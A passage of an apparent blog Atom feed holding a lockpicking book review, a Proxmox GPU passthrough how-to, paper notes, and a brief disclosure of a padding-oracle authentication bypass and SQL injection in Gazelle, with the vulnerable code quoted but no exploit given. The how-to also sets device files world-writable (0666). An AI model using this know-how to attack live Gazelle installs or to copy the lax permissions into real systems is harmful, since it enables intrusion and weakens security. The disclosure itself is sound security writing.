href=\"https://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html\" rel=\"alternate\"></link><published>2023-10-20T18:00:00+02:00</published><updated>2023-10-20T18:00:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-10-20:/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html</id><summary type=\"html\">&lt;p&gt;&lt;a href=\"https://nostarch.com/locksport\"&gt;&lt;img alt=\"Locksport's cover\" src=\"https://dustri.org/b/images/locksport.png\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;I'm starting to feel guilty about getting ebooks for free from \n&lt;a href=\"https://nostarch.com/about\"&gt;No Starch Press&lt;/a&gt;, but apparently they're happy to\nsend them my way in exchange for a review, so I won't complain.&lt;/p&gt;\n&lt;p&gt;Anyway, I got a copy of the early access version &lt;a href=\"https://nostarch.com/locksport\"&gt;Locksport - A Hacker’s Guide to Lockpicking,\nImpressioning …&lt;/a&gt;&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;&lt;a href=\"https://nostarch.com/locksport\"&gt;&lt;img alt=\"Locksport's cover\" src=\"https://dustri.org/b/images/locksport.png\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;I'm starting to feel guilty about getting ebooks for free from \n&lt;a href=\"https://nostarch.com/about\"&gt;No Starch Press&lt;/a&gt;, but apparently they're happy to\nsend them my way in exchange for a review, so I won't complain.&lt;/p&gt;\n&lt;p&gt;Anyway, I got a copy of the early access version &lt;a href=\"https://nostarch.com/locksport\"&gt;Locksport - A Hacker’s Guide to Lockpicking,\nImpressioning, and Safe Cracking&lt;/a&gt;!\nIt's obviously a book about lockpicking, but, as &lt;em&gt;hinted&lt;/em&gt; by its name, \nfrom the &lt;a href=\"https://www.lockwiki.com/index.php/Locks port\"&gt;sport&lt;/a&gt; angle.&lt;/p&gt;\n&lt;p&gt;I'm not completely clueless when it comes to picking locks, but I've always been\nmediocre at best, since I never really put the effort into practising anything\nbut the basics. This was thus a great opportunity for a deeper dive!\nSo I got myself a &lt;a href=\"https://covertinstruments.com/collections/lockpicks/products/genesis-lock-pick\"&gt;proper set of picks&lt;/a&gt;,\n3 cutaway training locks &lt;a href=\"https://www.sparrowslockpicks.com/products/cut-away-lock-serrated-pins\"&gt;one with serrated pins&lt;/a&gt;,\n&lt;a href=\"https://www.sparrowslockpicks.com/products/cut-away-lock-spool-pins\"&gt;with spool pins&lt;/a&gt;,\nand &lt;a href=\"https://www.sparrowslockpicks.com/products/cut-away-lock-check-pins\"&gt;one with stupid chess pieces pins&lt;/a&gt;,\nand a couple of locks/padlocks from my local locksmith, and dove into the book!&lt;/p&gt;\n&lt;p&gt;I was a bit curious about its content, since I didn't bother reading the table of contents,\nand was expecting a pile of techniques to open &lt;a href=\"https://en.wikipedia.org/wiki/Wafer_tumbler_lock\"&gt;wafer tumbler locks&lt;/a&gt;\nin the fastest way possible. But the book is so much more than that, with\nhistorical perspectives, a bit of legalese, the proper etiquette to participate in lockpicking\ncompetitions and how to organise one, anecdotes, mechanical details and\nresources for those who &lt;a href=\"https://en.wikipedia.org/wiki/Starship_Troopers_(film)\"&gt;would like to know\nmore&lt;/a&gt;, how to tear\napart, modify, take care of, and reassemble locks, where to get equipment,\nhow to &lt;a href=\"https://www.lockwiki.com/index.php/Impressioning\"&gt;impression keys&lt;/a&gt;,\ndetails on &lt;a href=\"https://en.wikipedia.org/wiki/Lever_tumbler_lock\"&gt;lever tumbler locks&lt;/a&gt;\nand &lt;a href=\"https://en.wikipedia.org/wiki/Safe\"&gt;vaults&lt;/a&gt;,\n…&lt;/p&gt;\n&lt;p&gt;The part about wafer locks, while interesting, doesn't really go much further\nthan some basic techniques for entry-level &lt;a href=\"https://lockwiki.com/index.php/Security_pin#Security_pin_illustrations\"&gt;security pins&lt;/a&gt;,\nbut I guess practise is the only way to learn how to handle anything non-trivial anyway.\nOn the other hand, the part about lever locks was highly entertaining,\nsince those are really weird compared to the &lt;em&gt;usual&lt;/em&gt; locks,\nand I didn't know much about them.&lt;/p&gt;\n&lt;p&gt;I recently gifted myself a &lt;a href=\"https://www.sparrowslockpicks.com/products/challenge-vault\"&gt;Sparrow's challenge vault&lt;/a&gt; for my birthday,\nand was thus highly delighted to discover that the book has a whole section\non &lt;a href=\"https://en.wikipedia.org/wiki/Safe-cracking\"&gt;safe manipulation&lt;/a&gt;; which is\nfortunate since the instructions coming with the vault are &lt;s&gt;pure garbage&lt;/s&gt;\nconfusing at best.&lt;/p&gt;\n&lt;p&gt;The only issue I had with the book is that while it's full of gorgeous colourful\npictures, like the small marks left by pins during key impressioning,\nthey are unfortunately barely legible on my\n&lt;a href=\"https://www.pocketbook-int.com/ge/products/pocketbook-inkpad-3\"&gt;Pocketbook InkPad 3&lt;/a&gt;,\nso I'd recommend getting the paperback version if you don't have a 𝖙𝖗𝖚𝖊𝖈𝖔𝖑𝖔𝖗 4𝖐\n𝕳𝕯𝕽 e-reader.&lt;/p&gt;\n&lt;p&gt;All in all, it's a really great self-contained book for newcomers and beginners,\nentertaining, detailed, … and doing a tremendous job at making\nlockpicking competitions look cool yet accessible! It was also a nice motivation booster for me to\ntackle harder locks.&lt;/p&gt;\n&lt;p&gt;If you already know your way around locks, you might want to look at &lt;a href=\"https://www.barnesandnoble.com/w/high-security-mechanical-locks-graham-pulford/1111341233\"&gt;High-Security Mechanical Locks: An\nEncyclopedic\nReference&lt;/a&gt; instead.&lt;/p&gt;</content><category term=\"book_reviews\"></category></entry><entry><title>Authentication bypass on What.CD's Gazelle</title><link href=\"https://dustri.org/b/authentication-bypass-on-whatcds-gazelle.html\" rel=\"alternate\"></link><published>2023-10-13T19:45:00+02:00</published><updated>2023-10-13T19:45:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-10-13:/b/authentication-bypass-on-whatcds-gazelle.html</id><summary type=\"html\">&lt;p&gt;&lt;a href=\"https://en.wikipedia.org/wiki/What.CD\"&gt;What.CD&lt;/a&gt; has been dead since 2016, and\nhopefully &lt;a href=\"https://github.com/OPSnet/Gazelle/blob/master/app/Util/Crypto.php\"&gt;nobody&lt;/a&gt;\nis using &lt;a href=\"https://github.com/WhatCD/Gazelle\"&gt;Gazelle&lt;/a&gt;,\ntheir \"web framework geared towards private BitTorrent tracker\" anymore.\nI've been sitting on this one for years, I know I wasn't the only one,\nand it's not the only low-hanging vulnerability lurking there.&lt;/p&gt;\n&lt;p&gt;Rolling your own blunt …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;&lt;a href=\"https://en.wikipedia.org/wiki/What.CD\"&gt;What.CD&lt;/a&gt; has been dead since 2016, and\nhopefully &lt;a href=\"https://github.com/OPSnet/Gazelle/blob/master/app/Util/Crypto.php\"&gt;nobody&lt;/a&gt;\nis using &lt;a href=\"https://github.com/WhatCD/Gazelle\"&gt;Gazelle&lt;/a&gt;,\ntheir \"web framework geared towards private BitTorrent tracker\" anymore.\nI've been sitting on this one for years, I know I wasn't the only one,\nand it's not the only low-hanging vulnerability lurking there.&lt;/p&gt;\n&lt;p&gt;Rolling your own blunt is alright, rolling your own authentication scheme\nless so: there is a trivial &lt;a href=\"https://en.wikipedia.org/wiki/Padding_oracle_attack\"&gt;padding oracle&lt;/a&gt;\nin the &lt;a href=\"https://github.com/WhatCD/Gazelle/blob/master/classes/encrypt.class.php#L24\"&gt;homegrown crypto scheme&lt;/a&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"k\"&gt;public&lt;/span&gt; &lt;span class=\"k\"&gt;function&lt;/span&gt; &lt;span class=\"nf\"&gt;decrypt&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$Key&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nx\"&gt;ENCKEY&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt; &lt;span class=\"o\"&gt;!=&lt;/span&gt; &lt;span class=\"s1\"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$IV&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nb\"&gt;substr&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;base64_decode&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt;&lt;span class=\"p\"&gt;),&lt;/span&gt; &lt;span class=\"mi\"&gt;0&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"mi\"&gt;16&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nb\"&gt;substr&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;base64_decode&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt;&lt;span class=\"p\"&gt;),&lt;/span&gt; &lt;span class=\"mi\"&gt;16&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n        &lt;span class=\"k\"&gt;return&lt;/span&gt; &lt;span class=\"nb\"&gt;trim&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;mcrypt_decrypt&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;MCRYPT_RIJNDAEL_128&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$Key&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nx\"&gt;MCRYPT_MODE_CBC&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$IV&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt; &lt;span class=\"k\"&gt;else&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"k\"&gt;return&lt;/span&gt; &lt;span class=\"s1\"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;;&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;leading to an &lt;a href=\"https://github.com/WhatCD/Gazelle/blob/master/classes/ajax_start.php#L23-L31\"&gt;authentication bypass via a SQL injection&lt;/a&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;isset&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$_COOKIE&lt;/span&gt;&lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;session&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;]))&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"nv\"&gt;$LoginCookie&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nv\"&gt;$Enc&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;decrypt&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$_COOKIE&lt;/span&gt;&lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;session&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;]);&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;isset&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$LoginCookie&lt;/span&gt;&lt;span class=\"p\"&gt;))&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"k\"&gt;list&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$SessionID&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$UserID&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nb\"&gt;explode&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;|~|&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$Enc&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;decrypt&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$LoginCookie&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n\n    &lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"o\"&gt;!&lt;/span&gt;&lt;span class=\"nv\"&gt;$UserID&lt;/span&gt; &lt;span class=\"o\"&gt;||&lt;/span&gt; &lt;span class=\"o\"&gt;!&lt;/span&gt;&lt;span class=\"nv\"&gt;$SessionID&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"k\"&gt;die&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;Not logged in!&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt;\n\n    &lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"o\"&gt;!&lt;/span&gt;&lt;span class=\"nv\"&gt;$Enabled&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nv\"&gt;$Cache&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;get_value&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;enabled_&lt;/span&gt;&lt;span class=\"si\"&gt;$UserID&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;))&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"k\"&gt;require&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;SERVER_ROOT&lt;/span&gt;&lt;span class=\"o\"&gt;.&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;/classes/mysql.class.php&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt; &lt;span class=\"c1\"&gt;//Require the database wrapper&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$DB&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"k\"&gt;NEW&lt;/span&gt; &lt;span class=\"nx\"&gt;DB_MYSQL&lt;/span&gt;&lt;span class=\"p\"&gt;;&lt;/span&gt; &lt;span class=\"c1\"&gt;//Load the database wrapper&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$DB&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;query&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;\n&lt;span class=\"s2\"&gt;            SELECT Enabled&lt;/span&gt;\n&lt;span class=\"s2\"&gt;            FROM users_main&lt;/span&gt;\n&lt;span class=\"s2\"&gt;            WHERE ID = &amp;#39;&lt;/span&gt;&lt;span class=\"si\"&gt;$UserID&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n        &lt;span class=\"k\"&gt;list&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$Enabled&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nv\"&gt;$DB&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;next_record&lt;/span&gt;&lt;span class=\"p\"&gt;();&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$Cache&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;cache_value&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;enabled_&lt;/span&gt;&lt;span class=\"si\"&gt;$UserID&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$Enabled&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"mi\"&gt;0&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt; &lt;span class=\"k\"&gt;else&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"k\"&gt;die&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;Not logged in!&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;Conveniently, the oracle doesn't touch the database, is completely stateless,\nand only shows up in the httpd/reverse-proxy's logs, which shouldn't log the cookies'\ncontent, making forensic analysis nigh impossible. Once you're admin, there are\na bunch of available SQL injections, like in\n&lt;a href=\"https://github.com/WhatCD/Gazelle/blob/master/sections/reportsv2/takeresolve.php\"&gt;&lt;code&gt;takerevolve.php&lt;/code&gt;&lt;/a&gt;.\nFrom there, remote code execution is doable, but left as an exercise for the\nreader.&lt;/p&gt;</content><category term=\"security\"></category></entry><entry><title>Video acceleration in Jellyfin inside a Proxmox container</title><link href=\"https://dustri.org/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.html\" rel=\"alternate\"></link><published>2023-10-01T22:15:00+02:00</published><updated>2023-10-01T22:15:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-10-01:/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.html</id><summary type=\"html\">&lt;p&gt;For various reasons, including \"video decoding is hard\", \"your web browser hates you\"\nand \"watching movies on a phone over 3G is a basic human necessity\",\nenabling hardware-accelerated video decoding in &lt;a href=\"https://jellyfin.org\"&gt;Jellyfin&lt;/a&gt;\nis a desirable goal if you don't want your CPU to set your house on fire. &lt;/p&gt;\n&lt;p&gt;To attain …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;For various reasons, including \"video decoding is hard\", \"your web browser hates you\"\nand \"watching movies on a phone over 3G is a basic human necessity\",\nenabling hardware-accelerated video decoding in &lt;a href=\"https://jellyfin.org\"&gt;Jellyfin&lt;/a&gt;\nis a desirable goal if you don't want your CPU to set your house on fire. &lt;/p&gt;\n&lt;p&gt;To attain it, one can mess around &lt;a href=\"https://github.com/ddimick/proxmox-lxc-idmapper\"&gt;cryptic gid mappings&lt;/a&gt;,\nbut granting every user on the hypervisor the right to read/write &lt;code&gt;/dev/dri/renderD128&lt;/code&gt; and\n&lt;code&gt;/dev/dri/card0&lt;/code&gt; is way easier, and it looks like this:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"gp\"&gt;# &lt;/span&gt;cat&lt;span class=\"w\"&gt; &lt;/span&gt;&amp;gt;&lt;span class=\"w\"&gt; &lt;/span&gt;/etc/udev/rules.d/99-intel-chmod666.rules&lt;span class=\"w\"&gt; &lt;/span&gt;&amp;lt;&amp;lt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;EOF&amp;#39;&lt;/span&gt;\n&lt;span class=\"go\"&gt;KERNEL==&amp;quot;renderD128&amp;quot;, MODE=&amp;quot;0666&amp;quot;&lt;/span&gt;\n&lt;span class=\"go\"&gt;KERNEL==&amp;quot;card0&amp;quot;, MODE=&amp;quot;0666&amp;quot;&lt;/span&gt;\n&lt;span class=\"go\"&gt;EOF&lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;udevadm&lt;span class=\"w\"&gt; &lt;/span&gt;control&lt;span class=\"w\"&gt; &lt;/span&gt;--reload-rules&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;udevadm&lt;span class=\"w\"&gt; &lt;/span&gt;trigger\n&lt;span class=\"gp\"&gt;#&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;It doesn't really worsen security, since:\n- the devices are only mounted inside my jellyfin container, which would have\n  the same privileges as if I used gid mapping.\n- odds are that an attacker able to get a shell on the hypervisor wouldn't\n  really need to have r/w access to the two devices to escalate their\n  privileges anyway, since they would either be:\n  - root already to escape from a container\n  - root already to escape from a vm\n  - whatever proxmox user and likely able to escalate to &lt;code&gt;root&lt;/code&gt; trivially\n  - other users are sandboxed via systemd and/or seccomp.&lt;/p&gt;\n&lt;p&gt;Speaking of mounting things inside the container:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"gp\"&gt;# &lt;/span&gt;cat&lt;span class=\"w\"&gt; &lt;/span&gt;&amp;gt;&lt;span class=\"w\"&gt; &lt;/span&gt;/etc/pve/lxc/114.conf&lt;span class=\"w\"&gt; &lt;/span&gt;&amp;lt;&amp;lt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;EOF&amp;#39;&lt;/span&gt;\n&lt;span class=\"go\"&gt;lxc.cgroup2.devices.allow: c 226:0 rwm&lt;/span&gt;\n&lt;span class=\"go\"&gt;lxc.cgroup2.devices.allow: c 226:128 rwm&lt;/span&gt;\n&lt;span class=\"go\"&gt;lxc.mount.entry: /dev/dri dev/dri none bind,optional,create=dir&lt;/span&gt;\n&lt;span class=\"go\"&gt;lxc.mount.entry: /dev/dri/renderD128 dev/renderD128 none bind,optional,create=file&lt;/span&gt;\n&lt;span class=\"go\"&gt;EOF&lt;/span&gt;\n&lt;span class=\"gp\"&gt;#&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;You can now run &lt;code&gt;vainfo&lt;/code&gt; inside the container and be delighted by the\npresence of the &lt;a href=\"https://en.wikipedia.org/wiki/Video_Acceleration_API\"&gt;VA-API&lt;/a&gt; version number:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"gp\"&gt;# &lt;/span&gt;vainfo&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;2&lt;/span&gt;&amp;gt;/dev/null&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;|&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;head&lt;span class=\"w\"&gt; &lt;/span&gt;-n&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;1&lt;/span&gt;\n&lt;span class=\"go\"&gt;libva info: VA-API version 1.17.0&lt;/span&gt;\n&lt;span class=\"gp\"&gt;#&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;The last step is to tick all the boxes in &lt;a href=\"https://jellyfin.org/docs/general/administration/hardware-acceleration/\"&gt;Jellyfin's\npreferences&lt;/a&gt;\nand you're good to go. Don't forget to make some space on the disk for the\ntranscoding cache, at least until &lt;a href=\"https://github.com/jellyfin/jellyfin/pull/8744\"&gt;this&lt;/a&gt;\nmakes its way into a release.&lt;/p&gt;</content><category term=\"sysadmin\"></category></entry><entry><title>Paper notes: Breaking Bad: Quantifying the Addiction of Web Elements to JavaScript</title><link href=\"https://dustri.org/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.html\" rel=\"alternate\"></link><published>2023-09-26T17:15:00+02:00</published><updated>2023-09-26T17:15:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-09-26:/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.html</id><summary type=\"html\">&lt;p&gt;&lt;a href=\"https://arxiv.org/pdf/2301.10597.pdf\"&gt;PDF&lt;/a&gt;, &lt;a href=\"https://dustri.org/b/files/papers/breaking_bad.pdf\"&gt;local mirror&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;More or less all conversations involving the &lt;a href=\"https://www.torproject.org/download/\"&gt;tor browser&lt;/a&gt;\nwill at some point contain the following line: \"No, javascript isn't disabled\nby default because too many sites would break. You can always crank the\nsecurity slider all the way up if you want tho.\"&lt;/p&gt;\n&lt;p&gt;We all agree …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;&lt;a href=\"https://arxiv.org/pdf/2301.10597.pdf\"&gt;PDF&lt;/a&gt;, &lt;a href=\"https://dustri.org/b/files/papers/breaking_bad.pdf\"&gt;local mirror&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;More or less all conversations involving the &lt;a href=\"https://www.torproject.org/download/\"&gt;tor browser&lt;/a&gt;\nwill at some point contain the following line: \"No, javascript isn't disabled\nby default because too many sites would break. You can always crank the\nsecurity slider all the way up if you want tho.\"&lt;/p&gt;\n&lt;p&gt;We all agree that javascript enables all sorts of despicable behaviours making\nthe web a nightmare-material privacy/security cesspit and completely\ninscrutable to a lot of users, so having research done\nto quantify how to make it a better place for everyone is always more than welcome.&lt;/p&gt;\n&lt;p&gt;The main idea of the paper is to load pages from the &lt;a href=\"https://hispar.cs.duke.edu/\"&gt;Hispar\nset&lt;/a&gt; with and without &lt;code&gt;javascript.enabled&lt;/code&gt; set,\nvia &lt;a href=\"https://pptr.dev\"&gt;Puppeteer&lt;/a&gt;, and to perform\nmagic human-assisted smart diffing to detect user-perceived/perceivable\nbreakages. &lt;/p&gt;\n&lt;p&gt;The paper is full of fancy graphs and analysis, but the &lt;a href=\"https://en.wikipedia.org/wiki/TL;DR\"&gt;tldr&lt;/a&gt; is:&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;p&gt;We discover that 43 % of web pages are not strictly dependent on JavaScript\nand that more than 67 % of pages are likely to be usable as long as the visitor\nonly requires the content from the main section of the page, for which the user\nmost likely reached the page, while reducing the number of tracking requests by\n85 % on average.&lt;/p&gt;\n&lt;/blockquote&gt;\n&lt;p&gt;An interesting take is that the usage of javascript framework is the main\nsource of breakage, since &lt;s&gt;a lot&lt;/s&gt; all of them result in completely\nunusable websites when javascript is disabled. Moreover, anecdotal data seems\nto suggest that the bigger a company is, the more their website is going to\nbreak when javascript is disabled.&lt;/p&gt;\n&lt;p&gt;And like every decent paper, it comes with the &lt;a href=\"https://gitlab.inria.fr/Spirals/breaking-bad\"&gt;related code and data published&lt;/a&gt;.&lt;/p&gt;</content><category term=\"paper_notes\"></category></entry><entry><title>Snuffleupagus 0.10.0 - Babar the Elephant</title><link href=\"https://dustri.org/b/snuffleupagus-0100-babar-the-elephant.html\" rel=\"alternate\"></link><published>2023-09-20T15:25:00+02:00</published><updated>2023-09-20T15:25:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-09-20:/b/snuffleupagus-0100-babar-the-elephant.html</id><summary 